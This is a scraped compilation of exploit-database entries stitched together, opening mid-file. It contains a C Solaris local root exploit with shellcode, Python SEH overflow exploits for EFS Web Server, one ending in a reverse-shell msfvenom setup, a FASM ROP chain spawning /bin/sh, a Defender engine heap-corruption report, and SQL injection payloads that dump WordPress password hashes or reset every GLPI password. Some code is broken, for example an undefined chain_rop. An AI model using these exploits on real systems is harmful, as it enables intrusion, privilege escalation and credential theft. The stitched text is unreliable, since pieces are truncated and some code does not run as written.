        .s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 192,     .l_last = 512,     .l_step = 16,
        .p_first = 0,       .p_last = 8192,    .p_step = 1,
        .a = 0,             .b = 15,           .j = 12,
        .i = 0x08052608 /* pop edx; pop ebp; ret */
    },
    {
        .name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
        .s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 96,      .l_last = 512,     .l_step = 4,
        .p_first = 0,       .p_last = 4096,    .p_step = 4,
        .a = 0,             .b = 3,            .j = SIZE_MAX,
        .i = 0x07faa7ea /* call *0xc(%ebp) */
    },
};

#define ROOTSHELL "ROOT"
static const char shellcode[] =
    "\x31\xc0\x50\x68ROOT"
    "\x89\xe3\x50\x53\x89\xe2\x50\x50"
    "\x52\x53\xb0\x3C\x48\x50\xcd\x91"
    "\x31\xc0\x40\x50\x50\xcd\x91Z";

static volatile sig_atomic_t sigalarm;

static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
    sigalarm = 1;
}

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static int
is_suid_root(const char * const file)
{
    if (!file) die();
    static struct stat sbuf;
    if (stat(file, &sbuf)) die();
    if (!S_ISREG(sbuf.st_mode)) die();
    return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}

static const char *
build_lca(const size_t l)
{
    static const size_t shellcode_len = sizeof(shellcode)-1;
    if (shellcode_len > 64) die();
    if (shellcode_len % 16) die();
    if (l < shellcode_len + target->a + target->b) die();

    #define LCA_MAX 4096
    if (l > LCA_MAX) die();
    static char lca[128 + LCA_MAX];
    strcpy(lca, "LC_ALL=");
    char * cp = memchr(lca, '\0', sizeof(lca));
    if (!cp) die();
    memcpy(cp, shellcode, shellcode_len);
    cp += shellcode_len;
    memset(cp, 'a', target->a);

    size_t o;
    for (o = target->a; l - o >= 4; o += 4) {
        if ((o - target->a) % 16 == target->j) {
            cp[o + 0] = '\xeb';
            cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
                -(shellcode_len + target->a + target->j + 2);
            cp[o + 2] = 'j';
            cp[o + 3] = 'j';
        } else {
            if (sizeof(size_t) != 4) die();
            *(size_t *)(cp + o) = target->i;
        }
    }
    cp += o;
    memset(cp, 'b', target->b);
    cp[target->b] = '\0';
    if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
    return lca;
}

static const char *
build_pad(const size_t p)
{
    #define PAD_MAX 8192
    if (p > PAD_MAX) die();
    static char pad[64 + PAD_MAX];
    strcpy(pad, "P=");
    char * const cp = memchr(pad, '\0', sizeof(pad));
    if (!cp) die();
    memset(cp, 'p', p);
    cp[p] = '\0';
    if (strlen(pad) != 2 + p) die();
    return pad;
}

static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
    #define N_WORKERS 2
    static size_t n_workers;
    static struct {
        pid_t pid;
        struct timeval start;
    } workers[N_WORKERS];

    size_t i_worker;
    struct timeval start, stop, diff;

    if (n_workers >= N_WORKERS) {
        if (n_workers != N_WORKERS) die();
        int is_suid_rootshell = 0;
        for (;;) {
            sigalarm = 0;
            #define TIMEOUT 10
            alarm(TIMEOUT);
            int status = 0;
            const pid_t pid = waitpid(-1, &status, WUNTRACED);
            alarm(0);
            if (gettimeofday(&stop, NULL)) die();

            if (pid <= 0) {
                if (pid != -1) die();
                if (errno != EINTR) die();
                if (sigalarm != 1) die();
            }
            int found_pid = 0;
            for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
                const pid_t worker_pid = workers[i_worker].pid;
                if (worker_pid <= 0) die();
                if (worker_pid == pid) {
                    if (found_pid) die();
                    found_pid = 1;
                    if (WIFEXITED(status) || WIFSIGNALED(status))
                        workers[i_worker].pid = 0;
                } else {
                    timersub(&stop, &workers[i_worker].start, &diff);
                    if (diff.tv_sec >= TIMEOUT)
                        if (kill(worker_pid, SIGKILL)) die();
                }
            }
            if (!found_pid) {
                if (pid != -1) die();
                continue;
            }
            if (WIFEXITED(status)) {
                if (WEXITSTATUS(status) != EXIT_FAILURE)
                    fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
                break;
            } else if (WIFSIGNALED(status)) {
                if (WTERMSIG(status) != SIGSEGV)
                    fprintf(stderr, "signal %d\n", WTERMSIG(status));
                break;
            } else if (WIFSTOPPED(status)) {
                fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
                is_suid_rootshell |= is_suid_root(ROOTSHELL);
                if (kill(pid, SIGKILL)) die();
                continue;
            }
            fprintf(stderr, "unknown %d\n", status);
            die();
        }
        if (is_suid_rootshell) {
            system("ls -lL " ROOTSHELL);
            exit(EXIT_SUCCESS);
        }
        n_workers--;
    }
    if (n_workers >= N_WORKERS) die();

    static char rsh_link[64];
    if (*rsh_link != '/') {
        const int rsh_fd = open(RSH, O_RDONLY);
        if (rsh_fd <= STDERR_FILENO) die();
        if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
            "/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
        if (access(rsh_link, R_OK | X_OK)) die();
        if (*rsh_link != '/') die();
    }

    static int null_fd = -1;
    if (null_fd <= -1) {
        null_fd = open("/dev/null", O_RDWR);
        if (null_fd <= -1) die();
    }

    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const struct rlimit stack = { s, s };
        if (setrlimit(RLIMIT_STACK, &stack)) die();

        if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
        if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
        if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();

        static char * const argv[] = { rsh_link, "-?", NULL };
        char * const envp[] = { (char *)lca, (char *)pad, NULL };
        execve(*argv, argv, envp);
        die();
    }
    if (gettimeofday(&start, NULL)) die();
    for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
        const pid_t worker_pid = workers[i_worker].pid;
        if (worker_pid > 0) continue;
        if (worker_pid != 0) die();
        workers[i_worker].pid = pid;
        workers[i_worker].start = start;
        n_workers++;
        return;
    }
    die();
}

int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (geteuid() == 0) {
        if (is_suid_root(ROOTSHELL)) {
            if (setuid(0)) die();
            if (setgid(0)) die();
            static char * const argv[] = { "/bin/sh", NULL };
            execve(*argv, argv, NULL);
            die();
        }
        chown(*argv, 0, 0);
        chmod(*argv, 04555);
        for (;;) {
            raise(SIGSTOP);
            sleep(1);
        }
        die();
    }
    if (symlink(*argv, ROOTSHELL)) {
        if (errno != EEXIST) die();
    }

    if (argc != 2) {
        fprintf(stderr, "Usage: %s target\n", *argv);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    fprintf(stderr, "Target %zu %s\n", i, target->name);
  }
    if (target->a >= 16) die();
    if (target->b >= 16) die();
    if (target->i <= 0) die();
    if (target->j >= 16 || target->j % 4) {
        if (target->j != SIZE_MAX) die();
    }

    static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
    if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();

    size_t s;
    for (s = target->s_first; s <= target->s_last; s += target->s_step) {
        if (s % target->s_step) die();

        size_t l;
        for (l = target->l_first; l <= target->l_last; l += target->l_step) {
            if (l % target->l_step) die();
            const char * const lca = build_lca(l);
            fprintf(stderr, "s %zu l %zu\n", s, l);

            size_t p;
            for (p = target->p_first; p <= target->p_last; p += target->p_step) {
                if (p % target->p_step) die();
                const char * const pad = build_pad(p);
                fork_worker(s, lca, pad);
            }
        }
    }
    fprintf(stderr, "Please try again\n");
    die();
}
HireHackking 
#!/usr/bin/python

##################################
#   2017/6/17  Chako
#  
#   EFS Web Server 7.2 - Local Buffer Overflow(SEH)
#   Tested on: Windows XP SP3 EN (DEP Off)
#   Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#
#   Description:
#   When importing a large user account file on to EFS Web Server 7.2
#   will trigger the vuln.
##################################

import struct


# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode =  ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"




#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
Junk = "\x41" * 2563

nSEH = "\xEB\x0F\x90\x90"

# 0x10012f3b : pop esi # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll] 
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = struct.pack("<L", 0x10012f3b)


NOP = "\x90" * 10

BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP


print len(BoF)
f = open ("exploit.txt", "w")
f.write(BoF)
f.close()
HireHackking 
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
#
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for the
# x86 and x86-64 architecture processors, which does multiple passes to optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler  ) 1.7.21 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack

# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial

junk = 'A' * 5895
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '/bin'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '//sh'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
buffer = junk + chain_rop

try:
   print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["fasm", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "[*] FASM  not found!"
   else:
    print "[*] Error executing exploit"
   raise
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1282&desc=2

In   issue 1260   I discussed Microsoft's "apicall" instruction that can invoke a large number of internal emulator apis and is exposed to remote attackers by default in all recent versions of Windows. I asked Microsoft if this was intentionally exposed, and they replied "The apicall instruction is exposed for multiple reasons", so this is intentional.

This full system x86 emulator runs as SYSTEM, is unsandboxed, is enabled by default and remotely accessible to attackers.

I took a quick stab at writing a fuzzer and immediately found heap corruption in the KERNEL32.DLL!VFS_Write API, I suspect this has never been fuzzed before. A minimal testcase would be something like this:

int main(int argc, char **argv)
{
    MpApiCall("NTDLL.DLL", "NtControlChannel", 0xA);    // Disable apicall limit

    for (int i = 0; i < 16; i++) {
        MpApiCall("NTDLL.DLL", "VFS_Open", (uint64_t) L"filename", 0);
        MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", 0, 0);
        MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", -1, 0);
    }

    return 0;
}

I suspect the MutableByteStream object getting corrupted with an unchecked memcpy, I've seen multiple different stacktraces including wild eip.

See attachment for MpApiCall() implementation, and pre-compiled testcase, renamed testcase.txt. Note that as soon as the testcase.txt file touches disk, it will immediately crash the MsMpEng service on Windows, which may destabilize your system. The testcases have been encrypted to prevent crashing your exchange server.

This bug was found on Linux using Address Sanitizer:

$ ./mpclient extra/testcase.exe 
main(): Scanning extra/testcase.exe...
EngineScanCallback(): Scanning input
*** Error in `./mpclient': free(): invalid pointer: 0x0a5b4e50 ***
Aborted (core dumped)

Then verified on Windows in MsMpEng.exe:

Critical error detected c0000374
Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x29:
001b:76fc3b6d cc              int     3
2: kd> kv
ChildEBP RetAddr  Args to Child              
0192e638 76fc4acd c0000374 76fdedd8 0192e67c ntdll!RtlReportCriticalFailure+0x29 (FPO: [Non-Fpo])
0192e648 76fc4bad 00000002 777482b4 11109bb0 ntdll!RtlpReportHeapFailure+0x21 (FPO: [Non-Fpo])
0192e67c 76f8a1dc 0000000c 00370000 11109bb0 ntdll!RtlpLogHeapFailure+0xa1 (FPO: [Non-Fpo])
0192e76c 76f55950 0000cc5c 0000cc68 003700c4 ntdll!RtlpAllocateHeap+0x7b2 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for mpengine.dll - 
0192e7f0 66ac184e 00370000 00000008 0000cc5c ntdll!RtlAllocateHeap+0x23a (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0192e808 668b60ef 0000cc5c 00000001 0cb26e40 mpengine!FreeSigFiles+0x1cb14e
0192e858 6682c1a7 94741586 0cb26e40 11069948 mpengine!_rsignal+0x3479f
0192e880 668266f5 947414e2 00000000 0192eb34 mpengine+0x20c1a7
0192e9e4 668251ce 0192eb34 0cb26e40 00001000 mpengine+0x2066f5
0192ea38 66822fd1 0cb26e40 109ee478 00001000 mpengine+0x2051ce
0192eab0 66823127 0192eae0 0192eb34 00000000 mpengine+0x202fd1
0192eba8 66822d18 0192ec00 0192ec54 00000000 mpengine+0x203127
0192ec70 66823533 0192ec98 110c02e0 947411c2 mpengine+0x202d18
0192ecc4 668244b5 110c02e0 947411fa 106bde30 mpengine+0x203533
0192ecfc 66824593 110c02e0 94741382 00000000 mpengine+0x2044b5
0192ee84 6682085f 0192f7dc 00000000 003e7cd8 mpengine+0x204593
0192ee9c 6682088b 0192eeb8 66823dd2 0192f7dc mpengine+0x20085f
0192eea4 66823dd2 0192f7dc 0192f7dc 947413be mpengine+0x20088b
0192eeb8 66820829 0192f7dc 003e7cd8 66820790 mpengine+0x203dd2
0192eed8 66823d4a 0192f7dc 00000000 9474121a mpengine+0x200829
0192ef1c 6682d2a0 0192f7dc 0000800c 0192f7dc mpengine+0x203d4a
0192ef30 668820be 947409ce 66881ba0 00370bf8 mpengine+0x20d2a0
0192f4c8 66881b5f 00004039 0192f7dc 00000030 mpengine!_rsignal+0x76e
0192f4f0 66881a1e 0192f7dc 00000030 94740bfe mpengine!_rsignal+0x20f
0192f6f8 66881987 0192f7dc 00000030 0192f758 mpengine!_rsignal+0xce
0192f708 71436eff 003d5c60 00004039 0192f7dc mpengine!_rsignal+0x37
0192f758 7061480b 003d5bf8 00004039 0192f7dc mpsvc!rsignal_wrapper+0xef (FPO: [Non-Fpo])
0192f784 706478b4 0192f7dc 0192f828 00000000 mprtp!RealtimeProtection::CCMEngine::NotifyChange+0x7e (FPO: [1,2,0])
0192f7a0 70647b53 9479983c 00000004 70647900 mprtp!RealtimeProtection::MpNotifyChangeEx+0x9a (FPO: [Non-Fpo])
0192f870 70646b0a 01dfa2a8 01dda8b8 01dfa2a8 mprtp!RealtimeProtection::MpOpenProcessNotificationWorker+0x253 (FPO: [Non-Fpo])
0192f888 70649aec 70649ab0 01dda8b0 0192f8ac mprtp!RealtimeProtection::AsyncNotificationWorker+0x86 (FPO: [Non-Fpo])
0192f898 70617e47 005209e8 70617dd0 947998e0 mprtp!RealtimeProtection::CAsyncNotificationWorkItem::ExecuteJob+0x3c (FPO: [0,1,4])
0192f8ac 73f3389a 01dda8b8 947c55e2 76f7268c mprtp!CommonUtil::CMpThreadPoolItemBase::DoAction+0x77 (FPO: [Non-Fpo])
0192f8e8 76f126d5 0192f948 0051c2b8 003a0c00 mpclient!CommonUtil::CMpThreadPoolProviderVista::WorkCallback+0xca (FPO: [Non-Fpo])
0192f90c 76f30774 0192f948 003a0c60 77749e94 ntdll!TppWorkpExecuteCallback+0x10f (FPO: [Non-Fpo])
0192fa5c 75f1ef8c 003a4e58 0192faa8 76f6367a ntdll!TppWorkerThread+0x562 (FPO: [Non-Fpo])
0192fa68 76f6367a 003a4e58 77749e60 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0192faa8 76f6364d 76f302cb 003a4e58 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0192fac0 00000000 76f302cb 003a4e58 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
2: kd> lmv m mpengine
start    end        module name
66620000 67015000   mpengine   (export symbols)       mpengine.dll
    Loaded symbol image file: mpengine.dll
    Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{CCD47945-D7B4-402F-99F0-622F76161ECD}\mpengine.dll
    Image name: mpengine.dll
    Timestamp:        Tue May 23 10:52:27 2017 (592476DB)
    CheckSum:         00A1867D
    ImageSize:        009F5000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

################################################################################

I had some time to minimize the bug, a minimal testcase would be this:

    MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0, 0xffffffff, 0);
    MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0x7ff, 0x41414141, 0);

The first call extends the length of the file to nOffset, but because the numberOfBytes parameter is 0 no space is allocated. Then you can read and write arbitrary data to an arbitrary offset to the MutableByteStream object buffer. This is a very powerful exploit primitive, and exploitation does not seem difficult.

################################################################################

Here is a better testcase that crashes in a memcpy to a bad destination offset.

(gdb) r
Starting program: mpclient testcase.exe
main(): Scanning testcase.exe...
EngineScanCallback(): Scanning input

Program received signal SIGSEGV, Segmentation fault.
0xf6e98c08 in ?? ()
(gdb) x/i $pc
=> 0xf6e98c08:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
(gdb) p/x $edi
$1 = 0xc7028a20
(gdb) p/x $esi
$2 = 0x843e228
(gdb) x/10xb $esi
0x843e228:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x843e230:	0x00	0x00
(gdb) x/10xb $edi
0xc7028a20:	Cannot access memory at address 0xc7028a20
(gdb) r

################################################################################

stacktrace on windows:

2: kd> r
eax=c7c13828 ebx=1ca71d90 ecx=00000400 edx=00001000 esi=1ca71d90 edi=db6625b8
eip=669c44e0 esp=0242c210 ebp=0242c234 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mpengine!memcpy+0x250:
001b:669c44e0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
2: kd> dd edi
db6625b8  ???????? ???????? ???????? ????????
db6625c8  ???????? ???????? ???????? ????????
db6625d8  ???????? ???????? ???????? ????????
db6625e8  ???????? ???????? ???????? ????????
db6625f8  ???????? ???????? ???????? ????????
db662608  ???????? ???????? ???????? ????????
db662618  ???????? ???????? ???????? ????????
db662628  ???????? ???????? ???????? ????????
2: kd> kv
ChildEBP RetAddr  Args to Child              
0242c214 66a84a47 db6625b8 1ca71d90 00001000 mpengine!memcpy+0x250 (FPO: [3,0,2])
0242c234 66d73203 1ca71d90 00001000 00001000 mpengine!std::list<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> >,std::allocator<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> > > >::erase+0x72 (FPO: [Non-Fpo])
0242c258 66d732b9 1ca76db8 00001000 41414000 mpengine!Modification::read+0x79 (FPO: [Non-Fpo])
0242c2a0 66d736db 1ca76db8 00001000 41414000 mpengine!MutableStore::MutableByteStream::read+0xa3 (FPO: [Non-Fpo])
0242c2dc 66d737db 02f923e4 000007ff 41414141 mpengine!MutableStore::MutableByteStream::write+0xa0 (FPO: [Non-Fpo])
0242c320 66d6dfbb 00000544 02f923e4 000007ff mpengine!MutableStore::writeStrm+0xab (FPO: [Non-Fpo])
0242c35c 66d6b463 00000596 02f923e4 000007ff mpengine!VirtualFS::write+0x79 (FPO: [4,5,4])
0242c3a0 66c1eea8 02f923e4 000007ff 41414141 mpengine!VFS_Write+0x34 (FPO: [Non-Fpo])
0242c410 66b71e01 02ed0020 02f20610 fdeee3e7 mpengine!NTDLL_DLL_VFS_Write+0x78 (FPO: [Non-Fpo])
0242c440 66d840da 02f203a8 0309877f 02f20601 mpengine!__call_api_by_crc+0x114 (FPO: [Non-Fpo])
0242c468 030987a8 669eeca2 02f203a8 0309877f mpengine!x32_parseint+0x1ba (FPO: [Non-Fpo])


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42264.zip
HireHackking 
# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/

# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 - Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 - Timeline:

- 22/05/2017 – Discovered
- 24/05/2017 – Vendor not finded
- **/06/2017 - Corrected

***Rename plugin txt to zip. Problem with gmail block.
-- 
*Atenciosamente*

*Lenon Leite*
HireHackking

GLPI 0.90.4 - SQL Injection 

# Exploit Title: Multiple SQL injection vulnerabilities in GLPI 0.90.4
# Date: 2016/09/09
# Exploit Author: Eric CARTER (in/ericcarterengineer - CS c-s.fr)
# Vendor Homepage: http://glpi-project.org
# Software Link: http://glpi-project.org/spip.php?article3
# Version: 0.90.4
# Tested on: GLPI 0.90.4 running on a Debian 7, Apache 2.2.2, MySQL 5.5.49
# CVE : CVE-2016-7508

Multiple SQL injection vulnerabilities in GLPI 0.90.4 allow an 
authenticated remote attacker to execute arbitrary SQL commands by 
using the [ELIDED] character when the database is configured to use 
asian encoding (BIG 5).



> [Affected Component]
The file ./inc/dbmysql.class.php defines the encoding the database 
should use. This files uses the "SET NAMES" function which offers the 
possibility to use a specific encoding.

> [Attack Type]
Remote

> [Impact Code execution]
True

> [Impact Escalation of Privileges]
True

> [Impact Information Disclosure]
True

> [Prerequisite]
The administrator of GLPI must have defined the variable 
$dbenc='big5' in ./config/config_db.php to support asian encoding. It 
will then be possible to do SQL injection in almost all the forms of 
the application.
 
> [Attack Vectors]
For the proof-of-concept, the attacker targeted the 
"Surname" form input in the User profile by adding the characters 
ø (\xBF\x27) before the SQL code (the request must be sent using Western
encoding) :
ø', password=61529519452809720693702583126814 -- x

Once received by the server, the request will be sanitized, giving :
ø\', password=61529519452809720693702583126814 -- x

The value will then be sent to the database with a BIG5 encoding. Here is the 
critical point, as BIG5 will see the string ø\ as a single asian character 
encoded on two bytes. As the single quote isn't escaped anymore, the 
SQL code will be executed and will set the password of every accounts 
to the value
61529519452809720693702583126814 (=MD5 hash of "ximaz" string)
HireHackking 
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)
# Date: 19 June 2017
# Exploit Author: clubjk
# Author Contact: jk@jkcybersecurity.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: WinXP SP3
# Usage: ./exploit.py
# [*] Connecting to Target 192.168.188.132...standby...
# [*] Successfully connected to 192.168.188.132...
# [*] Sending improperly formed request...
# [!] Request has been sent!


import socket,os,time, sys
 
host = "192.168.188.132"
port = 80


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.188.133 LPORT=2345 -f py -b "\x00"
buf =  ""
